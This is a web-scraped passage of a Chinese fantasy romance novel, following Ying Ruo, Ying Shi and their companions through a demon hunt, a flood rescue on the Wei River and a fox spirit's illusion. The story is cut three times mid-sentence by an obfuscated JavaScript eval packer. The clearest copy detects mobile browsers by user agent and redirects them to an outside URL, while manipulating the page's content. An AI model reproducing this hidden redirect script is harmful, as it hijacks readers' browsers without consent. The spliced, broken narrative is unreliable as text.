应若和应时追踪至山脚下的一处村落,魔气的大致方位就在这里。明明已是春季,村子里却寸草不生,一片荒芜。 唯有一家客栈,尤为醒目,只因其草木环绕,花香馥郁。 “有人吗?”应时朗声问道。 “来了,我是老板,二位住店吗?”一个身形瘦小的男子从里面走出来。 “您这客栈,平日里都没人住吗?”应若状似好奇地问。 “只是来这儿的客人比较少而已。”老板脸上堆满了笑容。 “一间上房吧。”应时和应若暗中交换了个眼色,在他视线转开时点了下头。 二人来到房间内,布置倒是精致。接下来,就只能等了。 “去榻上歇息一下吧,我在这儿坐着就好。”应时说着,端坐在案前,背后便是床榻。 应若也不推辞,侧卧在塌上,只说:“那我小憩一会儿。”便闭上了眼睛。 应时坐了一会儿,便也好似困意袭来,支撑不住地趴在了案几上。 过了大概半柱香的时间,门被敲响了,而门内没有回应。 “吱呀”一声,门开了。老板嗫嚅中带着颤抖的声音传来:“大人,就是他们两个,迷药已经见效了。” “来得正好,我杀了他们,为魔使报仇。”正是观天。因为林晚自戕,大批魔族受到重创,魔使更是怪罪下来。 观天将魔气运于双掌之上,正欲攻击,两道灵力破空而来,一左一右同时切断了他两只手掌的经脉,顿时血流如注,他不由得哀嚎出声。 而那老板也吓得魂飞魄散,一下子跪倒,匍匐在地,不住磕头,嘴里念念有词:“不是我干的,我都是被逼的。” 应时一抬手将老板困住,而应若如影般欺至观天身前,“魔使在哪?魔尊又在哪?” “我不知道,真的,从来只有他来找我。”观天因疼痛断断续续地说。 “那你说,我杀了你,会有任何人、妖、魔知道吗?”应若冷然一笑。 “大人饶命啊,我全都说。魔使在渭水渡口召见过我,我就只知道这些。”观天为了保命,赶紧将他知道的一股脑说了出来。 “这么说来,林晚、玉瑶的事,也都是魔使的指令?”应时冷声道。 “是啊,我只是个修为低下的魔,都是听命行事,都是为了活着。更何况,我是爱林晚的,不然也不会求魔使不要杀她,只杀玉瑶。”观天的辩解显得尤为可笑。 “观天,既然你在世人心中已是个死人,又何来饶命一说?我来送你一程。”应若面上肃杀一片,侧首间有风扬起她的长发,双眼微凛,余光瞟过便拔剑而起,墨绿色的剑身缭绕着蓝绿交织的光晕,眨眼间穿透了观天的心脏。 剑抽出的瞬间,观天也随即消散无踪,只余地上一的滩血污。 “啊!饶命。”老板惊叫出声,颤抖的更厉害了。 应时表情丝毫未变,“说,参与其中的还有谁?你也与魔为伍,谋害了不少性命吧。来住店的客人,是不是都被你们害了?”应时厉声质问。 “没有了,只有我们两个。我只是想活着,有错吗?我还能怎么办?他们都埋在院子里了,那些花草下面。”老板痛哭流涕。 “你有那么多机会可以报官,可你都做了些什么,助纣为虐。你的手,埋葬了多少性命?”应时不欲再多说,“我也不是什么心慈手软的人,这些话,你留着去官府说吧,官府会依照法度给你定罪,你若还能苟活,余生就在牢里赎罪吧。” 观天并未死去,那一剑并未要了他的性命,只是个障眼法。虽然他万死难辞其咎,但毕竟人类的生命,该交由人类审判,虽然大概最后也是死罪难逃。 将二人压送至官府后,官府也派了人来处理客栈院中埋葬的受害者。家中有孩子走失的母亲一路跟过来,哀伤不已。 应若和应时披着月色,走在路上。皎白的月光映得心间澄澈,杀伐与血光暗也都淡下去。 “还没问过,你的剑,叫什么名字?”应时对那柄墨绿的剑很是好奇。 “破云。勘破万象,化木生云。”应若说着,将自己的剑递至应时手中。 “水木相伴,护佑安宁。”应时看出这是木系为主,水系为辅的剑道。“好名字。” 应若听得恍惚了一瞬,“是我故友取的名字。” “那他很会取名。”应时称赞。 当年铸剑时,清晰的话语犹在耳畔。“剑已成,你帮我取个名字吧。“ “叫它破云吧。取意为勘破万象,化木生云。水木相伴,护佑安宁。” “是啊。”应若笑了。他的确是很会取名,就连她的名字应若,也是他取的。 “今天,就在我的府邸歇息一晚吧,墨悦他们应该早就到了。”应时心中有些莫名的,不曾有过的紧张。 “好啊。”应若浅笑着答应了。 二人行至院外,应若此时罕见的有些犹疑和后悔,“我是不是不该把他们送到官府?官府已经判了他们的死期,这样一来就没了魔族的线索。” “你没错。线索没了可以再找,可他没有活着的理由。”应时轻轻拉过应若的衣袖安慰道,眉目间坚定从容。 应时推开大门,墨悦和花染听见声响也迎了出来。 “时哥,你这庭院好气派,山水花草,各式各样。不过,我最喜欢的还是前院的这棵桃树。” 四人说笑着来到主院的正堂,围坐在案边。案几上,已经摆好了各式瓜果点心,可谓是琳琅满目。 “我和应时刚刚是去追魔去了,就是观天。主要是时间紧迫,趁着魔气尚未彻底消失追踪过去,没来得及知会你们。”应若坐下后先道。 “这么大的事儿,竟然丢下我们两个。”墨悦拍案惊呼,花染也很是意外。 “这不是赶时间么,以后不会了。”应时保证着,一边还为几人倒好了茶。他将一块山楂饼递给应若,“酸甜的,试试?”应若咬了一口,很是惊喜,不住连连点头。 “他们真该被千刀万剐。”得知观天和客栈老板还谋害了许多性命,花染和墨悦皆是咬牙切齿。 “不过据他所说,在渭水渡口附近有魔族的巢穴,我们明日便可前去。”应时似是有些疲惫的向后靠坐。 “说到魔,我不明白,魔是杀不尽的,我们究竟该如何应对才是?”花染有些忧虑地蹙了蹙眉。 应时手中轻轻转动着茶杯,出声道:“魔,修炼的是魔气,与正道相背,但魔气的存在,也是世界法则维系运转的一部分。因为邪与正、阴与阳,本就是相生相克,可以互相转化的。 天地孕育灵气与魔气,人和妖修正道便能获得灵力与妖力,修歧途,便是万劫不复。 有的妖和人,先天就被魔气选择,为其所控,但那并非他们本意。也有的,后天因为各种原因,一念起自愿成魔。 每个人或妖心中产生的恶念,都是魔气的来源。所以,要想对抗魔,不仅要对抗魔族,也要警醒自身,心向正道。只有这样形成良性的循环,魔才会逐渐削弱,人和妖也会更加向善。 我师父说,五行阵法,相生相克,以生之力,或能化魔。而五行阵法,需在五行灵脉恢复后合力开启,传闻每条灵脉都有守护者,找到他们,或许能更进一步。” “对于那些还不曾作恶的魔族,我们能做的,就是教化,让魔有自控的意念,控制自己的心念,才能散去魔气,重获新生。那些不曾真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在我小的时候,我母亲就因为宫闱争斗过世了。我不热衷于权力,更向往话本里的行侠仗义。后来便遇见了我师父,他传授我义理术法,我也喜欢逍遥自在的生活。” “花染,你就这样和我们行走江湖,不想家吗?” “其实,我对父亲和兄长并不是很亲厚。从小父亲就在家里说一不二,他更在意兄长、培养兄长,母亲和我都只有听从。在我看来,母亲对父亲是真心,父亲对母亲却夹杂了许多算计。” “来,我们以茶代酒,敬过往,敬明天。”茶盏一碰,心弦轻响。 月华如练,树木的阴影下,斑驳的心事徐徐展开。那些笑容里藏过的苦涩彷徨,晒过了月亮,好像就不再那么忧伤。 应若和应时先行离席,不经意回头一看,墨悦和花染好像在那边的屋檐旁说悄悄话。应若和时与对视一眼,轻巧地隐匿身形,坐在了他们身边的屋顶上。 只见墨悦小心翼翼地伸出手,那手都有些微的颤抖,他脸色有些泛着红,虔诚的闭眼,将花染拥入怀中,唇将落未落。 一只手挡在应若眼前,“别看。”而后飞快的拉起应若飞身离开了。 在外院中停下后,应若有些不满,“怎么就不能看了,都是好朋友。” “朋友也不行啊。”应时一本正经地说。 “是吗?”应若眼睫眨动几下,又四处看了看,转身走了。 “晚安。” “晚安。”应时望着应若的背影,目光克制又温柔。 “骗子。”应若边走边想着,曾经也有那么一个人,虔诚又深重地拥抱过她,却欲言又止。“别怕,等天下太平,我想……”他好像突然之间看到了什么,便不再继续说了。 只是那时,她还不曾分明自己的心。只是那时,战争已经来临,便也不再有时间去分辨那些真心。当她后来终于明了的时候,她心中的人,已经不在了。从过去到现在,总有些情,无从辨,无可说。 那算是他们的青葱岁月吧,在烽烟燃起的那天戛然而止,最后盛大的、沉重的落幕。而她的心动,刚刚开始,就已经结束。 是魔非魔,情之奈何,不错过。 5. 渭水之滨 夜未央,应时却好似梦魇一般,眉头紧皱,额角也有冷汗流下来。 “好疼啊。”一道细弱得几近飘渺的声线。 应时努力的睁大眼睛,试图找寻声音的来处。那是个背影,模糊不清地蜷缩在一棵树的阴影之下。 她深深地埋头于双臂之间,自言自语着:“赋生,据说要百年。今天,是第一百年的最后一天了。我感觉到自己正在一点一点的,变得迟缓了。以我之力,万物复苏,生机盎然,多好啊。 我也想潇洒一点,像个大妖的样子。可是真的,好疼啊。左右这里只有我自己,我喊疼也不会被发现的。”她左右晃了晃头,似是在驱赶那丝丝入扣的痛感。 “我就要,成功了。明天会是个,美好的世界吧。”她的声音顿了顿,小小的,却满怀着释怀和成全、温柔和守护、欣喜和期待。 应时好似也体会到了她的痛楚一般,挣扎着、踉跄着向前,想要触碰到她,他想说一句别怕,却发不出声音。当他的指尖就差那么一点就能够得到她的肩膀时,那身影,倏然间,不见了。 应时顿时生出一阵颓然之感,跌坐在地上。他看见,原本满目疮痍的土地,却在此时,干涸的裂隙逐渐合拢,有点点绿意争先恐后地冒了出来。花鸟虫鱼、飞禽走兽……它们好像都得到了生命力,蝴蝶微微震动翅膀,翩然起舞花海间,雄鹰立于崖边,猛然展翼向天,鱼儿自由摆尾,浮沉入渊。至于人和妖,也都从伤病和痛苦中得到了缓解和治愈。 千万般姿态,因她盛开。 只有那棵树,叶片落尽,陷入沉睡。应时在梦中,不知为何,不觉间潸然泪下。 “不!”应时惊醒,猛地睁开眼,泪痕犹在,已是月上中天。“树妖的赋生,竟是如此?那么,是你吧。” 而此刻,应若也在梦中辗转。许是说魔说的多了,梦里,她好像变成了连她自己也不认识的样子。 “应龙,我都这么听你的话了,心法也学了,你就和我一起吃吧,这瓜很好吃,快点。”她说着,眼疾手快地一把将凉瓜塞到应龙嘴里,眼角眉梢尽是得意。 “咳,咳,好苦,你真的喜欢吃凉瓜?”应龙难以忍受的皱紧了眉头,眼里全是不可置信。 她嘴里咔嚓咔嚓地嚼着,眉开眼笑,认真点头道:“是啊。”说着还不忘又咬了一大块,“有福同享。” 可心里想的却是,“我当然算不上喜欢吃凉瓜,谁不喜欢酸甜可口,我只是喜欢看你被我捉弄,又无可奈何的样子。” 画面又一转,月影婆娑下,她的身体轻飘飘的倒下了,是谁在焦急的呼唤着:“小树!” 应若猛地睁眼,心还在快速地跳动着,仿若窒息一般的痛楚好像还残留在身体里。“这是什么,只是梦吗?还是真实发生过的,只是我忘了?”应若再也没有了睡意,便起身想去屋外透透气。 应若刚推开门,一阵凉风袭来,不远处的凉亭里,已经坐着一个身影,是应时。应时也恰好听见声响,回过头来。四目相对,脉脉之间似有万语千言。 应若拢了拢衣袖,走到应时身旁坐下,应时见她穿的单薄,便立刻将披风解下,抖落开披在应若身上,再细致地为她系好带子。 “我是妖,我不冷。倒是你……”应若被这仍有余温的披风包裹,温暖得心头一颤。 “听话。”应时言简意赅,微微收紧手臂,就好像半抱着应若一般。 应若没再出声,只是抬头凝视他清润明亮的双眼,复又低头拢了拢外袍,再坐正身体。 “你不会也做噩梦了吧?”应时转开话题,状似自然的缓慢松开手。 “不会吧,做梦都这么有心有灵犀。”应若不由得轻笑出声,侧眸望向应时,“也不算噩梦吧。”因为有你在呢。 “那就待一会儿,吹吹风,我们就都回去睡吧,明日还要启程呢。”应时和应若就这样,并肩同坐,抬头望着月亮,夜风吹过,在身旁,却不凉。 次日一早,四人正整装待发,却见应时的小师叔杜嘉毅匆匆赶来,“听闻昨夜渭水河畔暴雨,突发水患,已有伤亡,我特地赶来,愿尽自己绵薄之力。” “好,那我们先行过去帮忙。”几人连忙出发了。 渭水之滨,原本应是水泽万物的盎然景象。而如今的渭水河畔,浪涛虽已渐渐平息,但大水已冲垮了河堤,淹没了附近的村落。被淹没的房屋、断枝、顺水漂流的沙石、哭喊的人…… 官府已经派官兵加固河堤,营救百姓,但毕竟状况复杂,未必及时。五人决定先行救人。 应若不禁有些怀念从前妖力无边的时候,一念起,就能感知千里。如今,妖力有限,只能在小范围的铺开妖力挨个救了。水面上、水中、水边,一只只伸出的手,帮助人们转移到安全的地方。 “别怕,伤口不深,马上就好了。”;“小心。”;“谢谢!”……生命在流淌,传递着希望。当然,也有人沉默地合上了眼,离开了这个世界。 几日过去,终于把大家在半山腰安置好。四人都终于松了一口气,能在临时搭建起的棚子下稍作休整。 应若正要走过去,一个小姑娘蹦跳着来到近前,轻轻的拉了一下她的衣摆。应若侧首看过去,是白日里她搭救过,后来还给她送了水的小姑娘,便也笑着俯身问:“怎么了?” 小姑娘神色紧张又兴奋,小声说道:“树妖姐姐,我父亲是这儿的里长,他想见您。他说祖上有东西务必要交给您,现下难得有机会,他想要亲自交给您。” 应若感慨又意外,“那走吧,你叫什么名字?”说着牵过小姑娘的手。“我叫季涵。”季涵牵到大姐姐的手,一瞬间很是激动。 走到半山腰的地方,里长正在给村民分发食物和衣物。等他忙完了,看过来,就要参拜,应若连忙扶起他,“不必多礼。” 三人绕到一个无人的角落,里长眼中有泪,也有如释重负。 “树妖大人,今日得见,万分庆幸。我名季澜,祖上曾是黄帝的画师,最后一战前,应龙大人曾托家祖在石板上刻了一副画,请他战后交给您,但却未来得及。 于是,我族世代做画,这画便一直传给每一代家主,每一代家主都会将这画临摹下来。如今,我将画作临摹于纸上,不知神韵是否有当年万一。 应龙大人和树妖大人永远是我族最为敬重的,您放心,您的身份只有我和小女知晓。” 季澜从怀中拿出画卷,应若双手接过,百感交集,也不禁热泪盈眶,“这份情我自当铭记,多谢。” 画卷徐徐展开,画中一男一女,正是应龙和应若。他们手持长剑,身披战甲,并肩而立。应龙银甲半覆面,只露出一双眼,应若上半边脸也被银甲覆盖。两双不同却也相似坚毅的眼眸,从画中,就这样望过来。 画中的应若眉目灵秀,丹凤眼微微上挑,顾盼生辉。而应时略略侧眸,眼中含笑,却笑中藏伤,像是告别似的看向身侧。在他身侧,还有他的笔迹,“对不起。” 应若明白,那是应时为他注定的食言而道歉,隔了几千年,终于还是沉甸甸的交到了她的手中。 那年分别时,应时说,等他回来,可他知道自己回不来了,因为他已经看见了他的终点。应若虽然不喜欢被隐瞒、被欺骗,却也明白他的心情。她理解也尊重他的决定,所以也并没有真的怪过他。 应若收回思绪,将画珍重地放入袖中,“此番水患,我会在此停留数日。若有事,尽管来找我。” “保重。”拜别季澜父女后,应若行至一小片阴影前,“看够了,就出来吧。” 花染和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我现在妖力远不及从前,有损本树妖颜面。更重要的是,一早告诉你们,不会像方才那样战战兢兢?或者是,信仰崩塌?”应若调侃地来回看了二人几眼。 “没有,不会。你永远是我的应若姐呀。嘿嘿,信仰在我手中!”花染又挽上了应若的手臂,愈发的开心了。 而应时一路沉默了许久,才下定决心般开口:“应若,画能给我看一看吗?” 应若心中略一犹豫,还是自然地将画拿了出来,花染和墨悦立刻也都嘿嘿笑着围了上来。 墨悦首先注意到了“对不起”这三个字,“你做什么对不起应龙大人的事了?” 应若简直匪夷所思,气笑了,“对不起他,忍到现在还没动手打你。” 花染给墨悦打眼色,小声说:“你说什么呢,这明明就是男子的笔迹。” 应时仔细的看着,眼神还停留在画上,声音很轻,“那,是应龙,对不起你。” 应若也只是垂眸看着脚下的路,“没有,他没有对不起我,他只是对不起他自己。” “神嘛,总是会为了人、为了妖,为了世间的一切,献出自己所有,却唯独没有他自己。”应若释然的笑了,“都不过是选择。”往事已矣,唯有当下不可辜负。应若想,她放下了,往后的日子,回忆就只是回忆了。 “吃苹果吗?”应若拿着一个红彤彤的苹果,在应时眼前晃了晃。应时从飘渺的思绪中回神,欣然接过。 花染在后面笑道:“应若姐,我们没有苹果吗?” “自己找去。” 渭水之滨,画中人情。 6. 风浪再起 新的一天,太阳照常升起。 “不好了,大水又往另一个村落去了。”有人匆匆来报。 “怎么会这样?”一行人纵身前往。 只见河流突然间波涛翻涌,水面快速上升,河流中央,魔气冲天,其中一只白色的鹿,头生四角。它的周遭,还有十几个看不清面容的魔族。 “竟是见则大邑的夫诸。”应若的印象中,夫诸早就隐匿山林了。五人先是施展结界,让河水不会四溢,再一齐上前,与之对抗。 一时间,刀光剑影。应若和应时剑气如风,配合默契,每一招一式都蕴藏着杀机,破空而出,一步一过,魔气溃散。墨悦则是将朱红色的流火链收放自如,进可攻退可守,激烈的碰撞间,将魔气绞碎。花染的牵尘刀更是势不可挡,横扫侧劈,身形快速闪避。杜嘉毅银枪猎猎,左右开弓,枪尖的红缨愈发鲜艳。最后,五人合力一击将夫诸困住,平息水面,撤下结界。 就在此刻,异变突生。一个红衣女子从旁腾跃飞扑,挡在夫诸身前,只见她瞳孔流转间,呈七彩之色。 “幻术。”应若立刻用“规束”将火狐也一并捆住,阻断其妖力。再看周遭,只余离的稍远的杜嘉毅一人没有被影响,其他几人都双目失神,不再有反应。 那女子被束缚着,气息不稳地说:“我的幻境,是以身入境,从外没有破解之法。他们已经在幻境之中了,走不出来,就会永远困死在里面。” “不过一只火狐,也敢如此放肆。”应若怒极反笑,声若寒冰。“杜兄,你在这里守阵,我入幻境一试。”应若说罢,妖力四散开来探寻幻境方位。 再睁眼,一片浓雾,这已经是在幻境中了。 “阿若,我回来了。”大雾渐次散去,应时的面容显现出来,他身着银色铠甲,眼眸深邃,就如同离开的那天一样。 “嗯,我知道,回来就好。”应若笑意不达眼底,抬手之间,剑锋划过应时的咽喉,他便被更加浓重的雾气裹挟着不见了。 随之而来的,是一个个已经故去的面容,在大战里,在岁月间。 “应若,你还好吗?”剑落下,再不见,故人颜。 白茫茫的一片,只能一步一步向前。一个人,一直走,没有尽头。 雾气又是散开一小片,一个黑衣女子的背影立在不远处,她回眸一笑,邪魅惑人,竟是同应若一样的面孔,只是周身缭绕着黑色的魔气。“来杀我呀。”蛊惑的声音嬉笑着。 应若认出这是她曾在梦中见到的自己,也许,她曾是魔,只是作为魔的记忆不再。黑色的魔气袭来,一招一式无比熟悉,那就是她自己的出招方式,应若只得与她过了几招。 最后,应若在剑光缠绕的缝隙中寻得机会,一剑斩下,墨绿的流光划过,她看着另一个自己血流不止,倾倒了下去,眼里诡异的笑就此定格,雾气再次升起。 应时一人静坐在庭院中的凉亭里。母亲在屋内煮茶,不远的树下,是师父的背影。墨悦和花染从门外跑了过来,坐在应时身边。 二人后面,应若笑意盈盈,不紧不慢地理着衣袖,悠然自在地踱步走向他。“应时,发什么愣呢?回神了。”她走至近前,伸出手在他眼打了个响指。 应时这才恍然一般握住了近在眼前的指尖,只喃喃道:“魔已经都除了吗?你陪我出去看看。”隔着衣袖,他牵起应若的手,出门去了。 市集里尽是一片欢笑声,二人走过一个个小摊,应时看着街道上撑着油纸伞,却好像怎么也看不清面孔的行人,心中有些困惑。他四顾之后抬头,望着阴云密布,不见一丝天光的天空。没有艳阳,也没有雨,为何要打伞? 应时再看向身侧,不知何时,应若手里撑着一柄油纸伞,手中还拿着另一把。伞下的人笑容依旧,“怎么了,你也要一把伞吗?”应若向他递来另一把伞,应时感到一阵心惊,觉察到这不是真实。 应时拂开她的手,立剑念诀:“无念。”剑气如虹,霎时间周遭一切尽数消散。 转眼间,高台之上,墨悦衣冠凌乱,手中红链妖异染血,从上至下看去,尽是尸骸与血污。距离他最近的,便是应若,应时与花染,而三人俱是气息奄奄。花染胸前伤口血流如注,再也支撑不住,倒在地上,断断续续地说:“你,入魔了。” 墨悦心中大震,一把丢掉手中红链,再看向掌心,浓郁的魔气盘旋溢出。“不,我不是。”墨悦痛苦地双手抱住头,混乱的跌坐在地。“不会的。” 而原本看似身受重伤,命不久矣的四人却站起身,嘴角带笑,走向了墨悦。花染走到墨悦背后,低声说:“你就永远的留在这里吧。” 此时,他却听到了水花的声音。“是了,我心向光明,不会成魔。” 花染这边,被母亲牵着,走出将军府的大门。“孩子,从此以后,我们自由了,母亲永远和你在一起,好不好?” 二人走到乡间的一个小屋旁,花染问道:“母亲,这就是我们的家了吗?” “是啊。” 花染走进屋子,门在她身后关上了。 应时这边,他再睁眼,持剑而立,身旁应若、花染、墨悦也都看过来。“原来你们已经出了幻镜了,没事就好。”应时舒了一口气。 “是啊,我们走吧,把这两个作乱的妖交给官府。”应若看着地上已然昏迷的妖。 “小师叔在哪?”应时问。 “这儿呢。”杜嘉毅笑着挥手。 应时终于稍稍放下心,却见小师叔身后,大量的魔气翻滚而来,应时当即大喊道:“小心,有魔气!”但却已经来不及了,杜嘉毅一口鲜血喷出,倒在地上不省人事。再看身旁,墨悦和花染似是被魔气控制,朝他掠了过来。 应若与应时只得手下注意着分寸,小心应付。“小心!”应若大喊着。 应时回头,却是应若的血溅落在他的衣襟和手上,血落有声,震动肺腑,是应若替他挡下了魔气的致命一击。 应时心中剧痛,环住应若无力倒下的身体。“怎么会这样?”应时的手止不住地颤抖着,轻轻抚上应若的脸,为她擦去嘴角的血迹。 “应时,我们说好了要同生共死,你会陪我吧。”应若眼中好似又泛起了别样的光彩。 “你不是她。”应时闭了闭眼,拔剑,断念。 再次睁开眼,应时走进一片密林,天色晦暗无光,白色浓雾中,隐约有人走来。 “应若?”应时心生警惕,看向来人。应若也停住脚步,剑一直紧握在手中。 应若试探着挥剑,应时也以剑相抵。这时,只听有拍打水波的声音响起,二人当即同时分开,朝着声音的方向跑去。 水边的礁石上,墨悦紧闭着眼侧卧着,上身不自然地动了几下,时而击打到了水面。 应若猜想他该是快要醒来了,小心上前,应时便也同她一起。 墨悦几度几番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187098|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱眉后,突然睁开双眼,手臂一挥,水花四溅。应若反射性地眨了下眼,就在这当口,墨悦的红链已挥至身前。 应若正感避无可避之时,一双手虚揽着她转了个圈,应若不由得睁大了眼睛,便见红链击中了应时的脊背,应时一口血未能忍住,以手掩住咳了出来。 “你。”应若又惊又怕,来不及再说什么,只得挥剑挡住墨悦迅速的攻击。“墨悦,停下。”应若一剑劈下,他的法器脱手飞出,应若转身便查看应时的伤势。 应若手指缓缓划过应时背上的伤口,在妖力的作用下,血止住了,痕迹也消失不见。应若又多输送了些妖力,帮他调理内息。应时刚想张口说些什么,应若立即强硬道:“别说话,专心。” “不是什么要紧的伤,更何况,你还给我这么多妖力。”应时略带无奈地笑了,“不过看在我受伤的份上,等离开幻境,我和你说一件事,你能不生我的气吗?”应若沉默一瞬,只道:“看你表现。” 墨悦这才如梦初醒一般,站在原地,愧疚又无措,“对不起,我……”应若走到他身边,拍拍他的肩膀,“别难受了,没怪你,刚才我俩也差点打一架。” 片刻后,应时也起身,“我好些了,雾气越来越浓,我们得赶紧离开幻境。” 几人又向水边张望,在树林里感知不到花染的气息,应若自语道:“花染还没醒过来吗,她在哪?这片树林我先前已经走过一圈,没有她的踪迹。” “墨悦,你刚刚算是从湖里爬上来的吧?”应时说道。“她会不会,在湖里?” 墨悦听罢,毫不犹豫地转身就跃进了湖中。不久后,湖面泛起波澜,墨悦托着尚未苏醒的花染来到岸边,墨悦不停地在她耳边呼喊着她的名字。 另一重幻境里,花染好像听到了,是墨悦在叫她。“母亲,对不起,再见了。”花染泪水滑落,终是杀死了这虚假的幻象。 终于,花染睁开双眼。“太好了,你没事。”几人都放下心来。 “这个幻境,大概是根据我们向往什么,或者惧怕什么而形成的。入境,方能破境。破解之法理应就在这个空间内。火狐,会幻化成什么,观察着这一切呢?”应若环顾四周。 “会是树、水之类吗?”花染一边四处查看一边说。 “应当是能够快速变化的事物。”应时沉吟道,“这样便于她躲避攻击。” “是雾!”应若与应时异口同声,相视一笑。“雾,随聚随散,不受我们控制。” 应若当即捏诀,“聚灵。”渐渐的,雾气散去,变化成一只小狐狸的样子。 “就是她,杀了她,是不是就能出去了?”墨悦语气凌厉。 “杀了她的灵,在幻境之外,真实的她就也活不了了。”应若仔细思索,“说到底,这幻境对我们也并无杀意,她只是为了救夫诸跑过来的。” “那就给她一个解释的机会吧。”应时也赞同的说。“不过,得先带我们离开这幻境。” “谢过诸位的不杀之恩,是我之前鲁莽了。这是我修习的最好的法术,我只是为了救夫诸,还请恕罪,我这就带诸位离开。”火狐垂首道。 话音刚落,火狐便腾跃至云间,破开层云,于是便有光倾洒了下来。霎时间,风云变幻,再睁眼,才是真正的回到了河边,也对上了杜嘉毅焦急等待的面容。而火狐,也静静地望着这一行人,不知在想些什么。 风浪有时,起落不定。 7. 虚实相生 夫诸的身上已经感知不到任何一丝妖力或魔气波动了,刚刚的打斗间,它好像也在同自己体内的魔气对抗,所以才耗尽了所有妖力。 火狐眼中流露出怀念,“我告知你们实情,可以让我与他一起囚于昆仑之狱吗?听说,有罪的人和妖也可以选择是留在人间的牢狱还是昆仑之狱,接受教导。”几人料想其中或有隐情,便也点头答应了。 “我是属火的妖,夫诸是属水的妖,我和他这样,也算是相生相克,相依相伴了吧。 千年前,这里还是一座荒山,方圆百里都无人居住。我那时生性贪玩,还未等到化形就跑去过人间和妖界的许多地方。夫诸避世已久,有一天我受了伤,不小心闯进了他的闭关之地,他并未说什么,只是默默采了草药悉心给我疗伤。后来,我给他讲我的所闻所见,他也心生向往,但他知道自己不能去,因为他生来就是水患的象征,走出去,就会有灾祸降临。 我想要报答他救我的恩情,思来想去,便为他造了一个幻境,他也很是欢喜。幻境里,有我见过的大千世界。幻境里,我们互相陪伴,一起看过了日升月落,世间变迁。谁说幻境里的陪伴就不是真的呢? 在幻境里,我们真的很开心,不知晓、也不甚在意究竟外面已经过了多少年。只是前些日子,我的幻境结界受到魔族攻击,我身受重伤,无力再维持幻境,他便从幻境中醒来。然而他的妖力与我相克,救不了我,他就只有去山上寻找可以帮助我恢复妖力的灵草。 许是为了采灵草,他没能控制好妖力。而如今已过千年,这里也不再是荒山,有人类,也有妖族在这里生活。他一出现,水灾便开始蔓延。而魔族,正是利用了这一点,企图控制他。 无论他做了什么,我相信,他心中始终都不愿意伤害任何生灵。” “我们也相信,你们都是很好的妖。”几人都不禁有些感慨。 “至于魔,我们总会除尽,不会放纵他们为祸世间。”应时果决地说,似是心中有了什么决断。 “我们也相信你们,会给这世间以安宁。”火狐也笑着说道。她想,这样的一行人,虽各有苦难,各有心事,但一切终成铠甲。 “心中有愧,画地为牢,昆仑之狱,于心于形。”念过这段话,便有锁链浮现在火狐和夫诸身上,而后他们便化作一红一蓝两道流光,远去了。 “不好,季澜那边的守护结界破了。”应若感应到危急,几人连忙赶回那边。 魔族来势汹汹,在引出夫诸后,又袭击了刚安置好的村民。几人回到半山腰处,却只见结界处只余一地灰烬,而季涵躺在榻上,被魔气所伤,不省人事。 “应当没有大碍,我来看看吧。”应时抱起小姑娘,走进了屋内,应若虽有疑虑,但也跟了进去。应若看着应时笃定的神情,只对众人道:“大家别担心,没事的,要是实在担忧,还请在屋外等一等。”说罢关上房门,也顺手布下了结界。 “没有大碍吗?你有把握?”应若直接问道。 “看来要直接展示一下了,一会儿再与你细说。”应时垂下眼睫,状似轻松地说道。“我可以吸收魔气。” “吸收、魔气?”应若忽地站起身,定定地望着他,然而他躲避的眼神已经给了她答案。 只见应时将手悬于季涵心口上方,渐渐的,有黑色的魔气从季涵心口处丝缕溢出,向上收拢至应时掌心,再一点点的进入到应时体内。 应若看着这一幕,只觉得自己浑身的血液好似都凝固住了,丝毫也动弹不得。冰冷的真实就这样出现在眼前,无需任何怀疑,没有任何余地。 应若从未怀疑过,他会同魔一样作恶。她好像可以看见未来的某一天,除魔路上,最终,他自己杀死自己,在她眼前消散,义无反顾地一如从前一般。 在这一息之间,她好像想了很多,又好像什么都没有想。应若快速地偏了下头,压下心底的情绪,又强迫自己看回来,找回自己的声音,尽量平静的问:“那你,还好吗?” “嗯,她也没事了,我们出去吧,他们也该着急了。”应时从进来起就一直低垂着的眼眸依旧没有抬起,不敢去看应若的神情。 门外,应若安慰众人:“季涵只是一点小伤,已无碍了,多加休息就是。”众人感激不已,无比庆幸。 “应若姐,嘉毅师叔在那边看到灰烬,说是一只凤鸟抵挡魔气,守护了村民。”花染急匆匆地跑过来。 “我这就去看看。”应若迫不及待地想将思绪和注意力从应时和魔气上转移开,也没等应时一下,就大步向那边走过去了。而应时只是沉默着,慢一步跟了过去。 “是凤炎的气息。”杜嘉毅难掩悲伤,“是我前些天从水中救的一只小凤鸟,当时它的翅膀受了伤,无法飞翔,落入了大水中。 它才刚有了灵识,法力微弱,还没能化形。听村民的讲述,它应是以火为障,抵挡魔气,是为了拯救强行提升境界,燃烧自己的生命,最终一同湮灭。 “都说凤鸟能涅盘重生,是真的吗?”杜嘉毅急切的想得到一个肯定的答复。 “是真的。这是它用以涅盘的灰烬,我会带回昆仑。只是凤鸟涅盘重生,时日不定,也许是几十年、几百年,而且,涅盘后就是完全的新生,它不会再有以前的记忆。”应若声音很轻。 “那我们还能为它做些什么吗?凤鸟涅盘,也许,以我们普通人的一辈子都等不到了。”季澜不无遗憾。 “那就,为它祈福吧。兴许它听到呼唤,能涅盘的快一些。上苍说不准也会听见你们的心声,感念此意。”应时望着应若的背影,眼里浮现出些许落寞。 